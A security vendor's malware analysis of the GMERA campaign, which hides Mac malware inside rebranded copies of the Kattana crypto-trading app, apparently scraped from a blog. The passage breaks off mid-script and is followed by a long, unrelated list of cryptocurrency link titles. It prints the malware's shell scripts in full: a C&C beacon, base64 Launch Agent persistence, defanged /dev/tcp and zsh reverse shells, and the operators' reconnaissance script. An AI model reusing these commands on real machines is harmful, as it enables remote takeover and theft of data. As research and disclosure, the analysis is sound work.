ESET researchers lure GMERA malware operators to remotely control their Mac honeypots
Weve recently discovered websites distributing malicious cryptocurrency trading applications for Mac. This malware is used to steal information such as browser cookies, cryptocurrency wallets and screen captures. Analyzing the malware samples, we quickly found that this was a new campaign of what Trend Micro researchers called GMERA, in an analysis they published in September 2019. As in the previous campaigns, the malware reports to a C&C server over HTTP and connects remote terminal sessions to another C&C server using a hardcoded IP address. This time, however, not only did the malware authors wrap the original, legitimate application to include malware; they also rebranded the Kattana trading application with new names and copied its original website. We have seen the following fictitious brandings used in different campaigns: Cointrazer, Cupatrade, Licatrade and Trezarus. In addition to the analysis of the malware code, ESET researchers have also set up honeypots to try to reveal the motivations behind this group of criminals.
We have not yet been able to find exactly where these trojanized applications are promoted. However, in March 2020, Kattana posted a warning suggesting that victims were approached individually to lure them into downloading a trojanized app. We couldnt confirm that it was linked to this particular campaign, but it could very well be the case.
Figure 1. Kattana warns about trojanized copies of their software on Twitter
Copycat websites are set up to make the bogus application download look legitimate. For a person who doesnt know Kattana, the websites do look legitimate.
The download button on the bogus sites is a link to a ZIP archive containing the trojanized application bundle.
Malware analysis in this case is pretty straightforward. We will take the Licatrade sample as the example here. Other samples have minor differences, but the ideas and functionalities are essentially the same. Similar analyses of earlier GMERA campaigns are provided in Trend Micros blogpost and in Objective-Sees Mac malware of 2019 report.
Figure 4. Content of the Licatrade application bundle
Modification timestamps of the files in the ZIP archive, the date the application was signed, and the LastModified HTTP header when we downloaded the archive all show April 15th, 2020. This is highly suggestive that this campaign started on that date.
A shell script (run.sh) is included in the resources of the application bundle. This main executable, written in Swift, launches run.sh. For some reason, the malware author has duplicated functionality to send a simple report to a C&C server over HTTP, and to connect to a remote host via TCP providing a remote shell to the attackers, in both the main executable and the shell script. An additional functionality, in the shell script only, is to set up persistence by installing a Launch Agent.
Here is the full shell script source (ellipsis in long string and defanged):
#! /bin/bashfunction remove_spec_char(){echo "$1" | tr -dc '[:alnum:].r' | tr '[:upper:]' '[:lower:]'}whoami="$(remove_spec_char `whoami`)"ip="$(remove_spec_char `curl -s ipecho.net/plain`)"req=`curl -ks "http://stepbystepby[.]com/link.php?${whoami}&${ip}"`plist_text="ZWNobyAnc2R2a21d2Vpdm5laXZuZSc="echo "$plist_text" | base64 --decode > "/tmp/.com.apple.system.plist"cp "/tmp/.com.apple.system.plist" "$HOME/Library/LaunchAgents/.com.apple.system.plist"launchctl load "/tmp/.com.apple.system.plist"scre=`screen -d -m bash -c 'bash -i >/dev/tcp/193.37.212[.]97/25733 0>&1'`
#! /bin/bash
function remove_spec_char(){
echo "$1" | tr -dc '[:alnum:].r' | tr '[:upper:]' '[:lower:]'
}
whoami="$(remove_spec_char `whoami`)"
ip="$(remove_spec_char `curl -s ipecho.net/plain`)"
req=`curl -ks "http://stepbystepby[.]com/link.php?${whoami}&${ip}"`
plist_text="ZWNobyAnc2R2a21d2Vpdm5laXZuZSc="
echo "$plist_text" | base64 --decode > "/tmp/.com.apple.system.plist"
cp "/tmp/.com.apple.system.plist" "$HOME/Library/LaunchAgents/.com.apple.system.plist"
launchctl load "/tmp/.com.apple.system.plist"
scre=`screen -d -m bash -c 'bash -i >/dev/tcp/193.37.212[.]97/25733 0>&1'`
Its interesting to note that persistence is broken in the Licatrade sample: the content of the resulting Launch Agent file (.com.apple.system.plist) isnt in Property List format as launchd expects, but instead is the command line to be executed.
The decoded content (ellipses in long strings) of the $plist_text variable is:
echo 'sdvkmsdfmsdkxweivneivne'; while :; do sleep 10000; screen -X quit; lsof -ti :25733 | xargs kill -9; screen -d -m bash -c 'bash -i >/dev/tcp/193.37.212[.]97/25733 0>&1'; done; echo 'sdvkmsdfmsdfmsnicvmdskxweivneivne'
echo 'sdvkmsdfmsdkxweivneivne'; while :; do sleep 10000; screen -X quit; lsof -ti :25733 | xargs kill -9; screen -d -m bash -c 'bash -i >/dev/tcp/193.37.212[.]97/25733 0>&1'; done; echo 'sdvkmsdfmsdfmsnicvmdskxweivneivne'
If run directly, this code would open a reverse shell from the victim machine to an attacker-controlled server, but that fails here. Fortunately for the attackers, the last line of the shell script also starts a reverse shell to their server.
The Cointrazer sample, used in campaigns prior to Licatrade, does not suffer from this issue: the Launch Agent is installed and successfully starts when the user logs in.
The various reverse shells used by these malware operators connect to different remote ports depending on how they were started. All connections are unencrypted. Here is a list of ports, based on the Licatrade sample.
Here are some example command lines used:
screen -d -m bash -c bash -i >/dev/tcp/193.37.212[.]97/25733 0>&1
zsh -c zmodload zsh/net/tcp && ztcp 193.37.212[.]97 25734 && zsh >&$REPLY 2>&$REPLY 0>&$REPLY
The rebranded Kattana application is also in the resources of the application bundle. We wanted to see if, besides the change in name and icon in the application, some other code was changed. Since Kattana asks for credentials for trading platforms to perform trading, we verified if the input fields of these were tampered with and if credentials were exfiltrated in some way. Kattana is built with Electron, and Electron apps have an app.asar file, which is an archive containing the JavaScript code of the application. We have checked all changes between the original Kattana application and the malicious Licatrade copycat and found that only strings and images were changed.
Figure 5. Partial difference between Kattana and Licatrade
Licatrade and its resources were all signed using the same certificate, having the common name field set to Andrey Novoselov and using developer ID M8WVDT659T. The certificate was issued by Apple on April 6th, 2020. It was revoked the same day we notified Apple about this malicious application.
Figure 6. Certificate used to sign Licatrade
Figure 7. Licatrade certificate was revoked May 28th, 2020
For each of the other campaigns we analyzed, a different certificate was used. Both were already revoked by Apple when we started our analyses. See the IoCs section for details about these. Its interesting to note that in the case of Cointrazer, there were only 15 minutes between the moment the certificate was issued by Apple and the malefactors signing their trojanized application. This, and the fact that we didnt find anything else signed with the same key, suggests they got the certificate explicitly for that purpose.
The malicious Licatrade application was available on the licatrade.com website and its C&C HTTP report server domain is stepbystepby.com. Both domains were registered using the levistor777@gmail.com email address. Searching for other domains registered with that email address reveals what looks like several previous campaigns. Here is a list of domains we found in samples or registered with that email address.
Both the websites and HTTP C&C servers receiving the malwares first report are hosted behind Cloudflare.
To learn more about the intentions of this group, we set up honeypots where we monitored all interactions between the GMERA reverse shell backdoors and the operators of this malware.
We saw no C&C commands issued via the HTTP C&C server channel; everything happened through the reverse shells. When it first connected, the C&C server sent a small script to gather the username, the macOS version and location (based on external IP address) of the compromised device.
#! /bin/bashfunction check() { if [ ! -f /private/var/tmp/.i ]; then write else if [ "$(( $(date +"%s") - $(stat -f "%m" /private/var/tmp/.i) ))" -gt "21600" ]; then write fi fi}function write() { getit=`curl -s ipinfo.io | grep -e country -e city | sed 's/[^a-zA-Z0-9]//g' | sed -e "s/city//g;s/country//g"` echo `whoami` > /private/var/tmp/.i echo `sw_vers -productVersion` >> /private/var/tmp/.i echo "$getit" >> /private/var/tmp/.i}checkcat /private/var/tmp/.i
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#! /bin/bash
function check() {
if [ ! -f /private/var/tmp/.i ]; then
write
else
if [ "$(( $(date +"%s") - $(stat -f "%m" /private/var/tmp/.i) ))" -gt "21600" ]; then
write
fi
fi
}
function write() {
getit=`curl -s ipinfo.io | grep -e country -e city | sed 's/[^a-zA-Z0-9]//g' | sed -e "s/city//g;s/country//g"`
echo `whoami` > /private/var/tmp/.i
echo `sw_vers -productVersion` >> /private/var/tmp/.i
echo "$getit" >> /private/var/tmp/.i
}
check
cat /private/var/tmp/.i
which sent something like this to the operators:
jeremy10.13.4BratislavaSK
jeremy
10.13.4
Bratislava
SK
The TCP connection stays open and waits for further commands. In our case, after a while, the operators manually inspected the machine. Across several of our honeypots, the commands used to perform that inspection varied. Part of it was just listing files across the file system. Sometimes, they would copy-and-paste a base64-encoded script designed to list information to reveal whether the system is a honeypot or actually interesting. The script is decoded, then piped to bash.
Figure 8. Packet capture of the operator sending the base64-encoded secondary reconnaissance script
Here is the decoded script:
echo ""echo "------ Whoami ------"whoamiecho "------ IP info ------"curl -s ipinfo.ioecho "------ Mac Model ------"curl -s https://support-sp.apple.com/sp/product?cc=$(system_profiler SPHardwareDataType | awk '/Serial/ {print $4}' | cut -c 9-) | sed 's|.*
1
2
Excerpt from:
Mac cryptocurrency trading application rebranded, bundled with malware - We Live Security
- Crypto()Currency - CryptoCurrency.org [Last Updated On: April 26th, 2014] [Originally Added On: April 26th, 2014]
- Cryptocurrency - Wikipedia, the free encyclopedia [Last Updated On: April 26th, 2014] [Originally Added On: April 26th, 2014]
- TNW - Stefan Molyneux - Money, Power and Politics The Cryptocurrency Revolution - Video [Last Updated On: April 26th, 2014] [Originally Added On: April 26th, 2014]
- How to Set Up a Ripple (CryptoCurrency) Generating System! - Video [Last Updated On: April 26th, 2014] [Originally Added On: April 26th, 2014]
- Bitcoin / Cryptocurrency - An Extensive FAQ - Video [Last Updated On: April 26th, 2014] [Originally Added On: April 26th, 2014]
- --- The Great Debate --- Bitcoin vs Altcoin @ The CryptoCurrency Convention 4/9/14 - - Video [Last Updated On: April 26th, 2014] [Originally Added On: April 26th, 2014]
- Bryce Weiner @ CryptoCurrency Convention 4/9/14 - - Video [Last Updated On: April 26th, 2014] [Originally Added On: April 26th, 2014]
- Popularcoin @ CryptoCurrency Convention 4/9/14 - Joshua Nold - Video [Last Updated On: April 26th, 2014] [Originally Added On: April 26th, 2014]
- TimeKoin @ CryptoCurrency Convention 4/9/14 - Michael Brown - Video [Last Updated On: April 26th, 2014] [Originally Added On: April 26th, 2014]
- Infinitecoin @ CryptoCurrency Convention 4/9/14 - Loring Small - Video [Last Updated On: April 26th, 2014] [Originally Added On: April 26th, 2014]
- Bitcoin Exchange CryptoRush Loses Millions of BlackCoin Cryptocurrency - Video [Last Updated On: April 26th, 2014] [Originally Added On: April 26th, 2014]
- Brock Pierce, Entrepreneur "FireSide Chat" @ CryptoCurrency Convention NYC - 4/9/14 - Video [Last Updated On: April 26th, 2014] [Originally Added On: April 26th, 2014]
- [OFFICIAL SPONSOR] Nick Spanos, Bitcoin Center NYC @ CryptoCurrency Convention 4/9/14 - Video [Last Updated On: April 26th, 2014] [Originally Added On: April 26th, 2014]
- AuroraCoin @ CryptoCurrency Convention NYC 4/9/14 - David Lio - Video [Last Updated On: April 26th, 2014] [Originally Added On: April 26th, 2014]
- Dogecoin Founder Speaks on the Future of Cryptocurrency [Last Updated On: April 27th, 2014] [Originally Added On: April 27th, 2014]
- As Bitcoin Soars in Value, Alternative Cryptocurrencies ... [Last Updated On: April 27th, 2014] [Originally Added On: April 27th, 2014]
- Florincoin @ CryptoCurrency Convention NYC 4/9/14 - Joe Fiscella - Video [Last Updated On: April 27th, 2014] [Originally Added On: April 27th, 2014]
- DigiByte @ CryptoCurrency Convention NYC 4/9/14 - Jared Tate - Video [Last Updated On: April 27th, 2014] [Originally Added On: April 27th, 2014]
- Digitalcoin @ CryptoCurrency Convention NYC 4/9/14 - Andrew Davidson - Video [Last Updated On: April 27th, 2014] [Originally Added On: April 27th, 2014]
- PotCoin @ CryptoCurrency Convention NYC 4/9/14 - Nick Iversen - Video [Last Updated On: April 27th, 2014] [Originally Added On: April 27th, 2014]
- ZenithCoin @ CryptoCurrency Convention NYC 4/9/14 - Eddie Corral - Video [Last Updated On: April 27th, 2014] [Originally Added On: April 27th, 2014]
- BitAngels Co-Founder, David Johnson @ CryptoCurrency Convention NYC 4/9/14 - Video [Last Updated On: April 27th, 2014] [Originally Added On: April 27th, 2014]
- Australian dogecoin founder speaks on the future of cryptocurrency [Last Updated On: April 28th, 2014] [Originally Added On: April 28th, 2014]
- Coinnext Cryptocurrency Exchange Coming Soon - Video [Last Updated On: April 29th, 2014] [Originally Added On: April 29th, 2014]
- Cryptocurrency News Round-Up: MtGox Hearing Begins as Bitcoin gets Bloomberg Endorsement [Last Updated On: May 1st, 2014] [Originally Added On: May 1st, 2014]
- mTrader.org - Cryptocurrency Mining System - Video [Last Updated On: May 1st, 2014] [Originally Added On: May 1st, 2014]
- CryptoCurrency - cryptobars commodity Launch! - Video [Last Updated On: May 1st, 2014] [Originally Added On: May 1st, 2014]
- The Mises View: "Taxing Cryptocurrency" | Jeff Deist - Video [Last Updated On: May 2nd, 2014] [Originally Added On: May 2nd, 2014]
- Coin Pursuit Launches SliceFeeds Interactive Cryptocurrency Network [Last Updated On: May 3rd, 2014] [Originally Added On: May 3rd, 2014]
- Cryptocurrency | Ground Zero with Clyde Lewis [Last Updated On: May 3rd, 2014] [Originally Added On: May 3rd, 2014]
- CS 171 Final Project: Cryptocurrency Visualizations - Video [Last Updated On: May 3rd, 2014] [Originally Added On: May 3rd, 2014]
- Cryptocurrency Explained The Tech Guy 1046 - Video [Last Updated On: May 3rd, 2014] [Originally Added On: May 3rd, 2014]
- Know How 74 Cryptocurrency - Video [Last Updated On: May 4th, 2014] [Originally Added On: May 4th, 2014]
- MIT undergrads will each receive $100 in bitcoin [Last Updated On: May 5th, 2014] [Originally Added On: May 5th, 2014]
- cryptocurrency - Fortune Finance: Hedge Funds, Markets ... [Last Updated On: May 8th, 2014] [Originally Added On: May 8th, 2014]
- Bitcoin wins US election panel's approval for political donations [Last Updated On: May 9th, 2014] [Originally Added On: May 9th, 2014]
- CryptoCurrency of the World Unite! - Video [Last Updated On: May 9th, 2014] [Originally Added On: May 9th, 2014]
- Major Dogecoin Wallet Hacked, Shut Down [Last Updated On: May 13th, 2014] [Originally Added On: May 13th, 2014]
- Such hack, much sad: Doge Vault reportedly loses $56,000 in heist [Last Updated On: May 13th, 2014] [Originally Added On: May 13th, 2014]
- BBT Presents: Ode to Cryptocurrency - Video [Last Updated On: May 13th, 2014] [Originally Added On: May 13th, 2014]
- Scryptify Cryptocurrency Video - Crypto Currency Exchanges - Video [Last Updated On: May 13th, 2014] [Originally Added On: May 13th, 2014]
- AMD cuts Radeon R9 280 price as inflation woes die down [Last Updated On: May 15th, 2014] [Originally Added On: May 15th, 2014]
- The Cryptocurrency Certification Consortium - Video [Last Updated On: May 15th, 2014] [Originally Added On: May 15th, 2014]
- Bitpagar Cryptocurrency - Video [Last Updated On: May 16th, 2014] [Originally Added On: May 16th, 2014]
- TagPro - Cryptocurrency Juke Session w/ LTB & Counterpary - Video [Last Updated On: May 16th, 2014] [Originally Added On: May 16th, 2014]
- How to Mine Cryptocurrency Safely - Video [Last Updated On: May 16th, 2014] [Originally Added On: May 16th, 2014]
- Bunnycoin - Innovative New Cryptocurrency - Video [Last Updated On: May 16th, 2014] [Originally Added On: May 16th, 2014]
- Jan Irvin on Learning, Statism, Culture, Cryptocurrency and Voluntarism -- Potent News Podcast #1 - Video [Last Updated On: May 16th, 2014] [Originally Added On: May 16th, 2014]
- Nxt cryptocurrency platform: Proof of Stake mining system - Video [Last Updated On: May 18th, 2014] [Originally Added On: May 18th, 2014]
- Cryptocurrency Round-Up: Darkcoin Rise Continues; Dogecoin Saved My Life & Bitcoin Explainer Videos [Last Updated On: May 19th, 2014] [Originally Added On: May 19th, 2014]
- Givecoin.info Announces Partnership with Do A Bit of Good: World's First Charitable Mining Screensaver [Last Updated On: May 21st, 2014] [Originally Added On: May 21st, 2014]
- Cryptocurrency: Get Mining! - Video [Last Updated On: May 22nd, 2014] [Originally Added On: May 22nd, 2014]
- Violincoin - The first cryptocurrency for musician - - Video [Last Updated On: May 22nd, 2014] [Originally Added On: May 22nd, 2014]
- Trollcoin - The Fun Cryptocurrency! - Video [Last Updated On: May 22nd, 2014] [Originally Added On: May 22nd, 2014]
- Cryptocurrency and Nonprofits with Eric Nakagawa - Video [Last Updated On: May 23rd, 2014] [Originally Added On: May 23rd, 2014]
- The Cryptocurrency Store - Video [Last Updated On: May 23rd, 2014] [Originally Added On: May 23rd, 2014]
- The Cryptocurrency Store (Spanish/Espagnol) - Video [Last Updated On: May 23rd, 2014] [Originally Added On: May 23rd, 2014]
- How To Trade CryptoCurrency: Sign up to a safe and reliable exchange for trading CryptoCurrency - Video [Last Updated On: May 23rd, 2014] [Originally Added On: May 23rd, 2014]
- UT students to launch cryptocurrency exchange [Last Updated On: May 24th, 2014] [Originally Added On: May 24th, 2014]
- Videoconferencia Cryptocurrency 201243946 - Video [Last Updated On: May 27th, 2014] [Originally Added On: May 27th, 2014]
- VideoCharla Jesus Ramos Cryptocurrency - Video [Last Updated On: May 27th, 2014] [Originally Added On: May 27th, 2014]
- Cryptocurrency Round-Up: Bitcoin Pioneer Dies and Digital Currency's Status in Australia [Last Updated On: August 31st, 2014] [Originally Added On: August 31st, 2014]
- Bitcoin enthusiasts discuss the cryptocurrency - Video [Last Updated On: August 31st, 2014] [Originally Added On: August 31st, 2014]
- Make Fast 1.0 up to 10.00 BTC or Any Cryptocurrency REAL CASH - Video [Last Updated On: August 31st, 2014] [Originally Added On: August 31st, 2014]
- Halcyon cryptocurrency - Video [Last Updated On: August 31st, 2014] [Originally Added On: August 31st, 2014]
- Selling products / services / fiat money for cryptocurrency - Coinkite PoS Terminal - Video [Last Updated On: August 31st, 2014] [Originally Added On: August 31st, 2014]
- Selling cryptocurrency to customers - Coinkite PoS Terminal - Video [Last Updated On: August 31st, 2014] [Originally Added On: August 31st, 2014]
- Cryptocurrency Made Simple - A Plain English Guide to Bitcoins [Last Updated On: September 8th, 2014] [Originally Added On: September 8th, 2014]
- PotatoCoin - The cryptocurrency for the third world - Video [Last Updated On: September 8th, 2014] [Originally Added On: September 8th, 2014]
- How To Trade One Kind Of Cryptocurrency For A Different Kind Of Cryptocurrency - Video [Last Updated On: September 8th, 2014] [Originally Added On: September 8th, 2014]
- How To Fund Your Bleutrade Cryptocurrency Trading Account - Video [Last Updated On: September 8th, 2014] [Originally Added On: September 8th, 2014]
- How To Open An Account At Bleutrade.com Cryptocurrency Exchange - Video [Last Updated On: September 8th, 2014] [Originally Added On: September 8th, 2014]
- Cryptocurrency Round-Up: Apple Pay Boosts Bitcoin, Nakamoto Negotiates With Hacker [Last Updated On: September 11th, 2014] [Originally Added On: September 11th, 2014]
- Qoinpro Cryptocurrency Faucet ok - Video [Last Updated On: September 12th, 2014] [Originally Added On: September 12th, 2014]
- Weekly Roundup - CEX.IO - Multi-Functional cryptocurrency exchange - Video [Last Updated On: September 12th, 2014] [Originally Added On: September 12th, 2014]
- TCR #27: Cryptocurrency growth, 9/11 Anniversary, CDC Scandal, Face Your Fears - Video [Last Updated On: September 12th, 2014] [Originally Added On: September 12th, 2014]
- VanosEnigmA 011 Bitcoin-Comedy BitcoinDog CryptoCurrency-Cat Naughty - Video [Last Updated On: September 15th, 2014] [Originally Added On: September 15th, 2014]
- WikiLeaks Avoided Bitcoin to Prevent Government 'Destroying' Cryptocurrency [Last Updated On: September 16th, 2014] [Originally Added On: September 16th, 2014]
- LXC Coin crowdfunds in challenge to Bitcoin [Last Updated On: September 16th, 2014] [Originally Added On: September 16th, 2014]
- Why Bitcoin Is Poised To Win Big In Las Vegas [Last Updated On: September 19th, 2014] [Originally Added On: September 19th, 2014]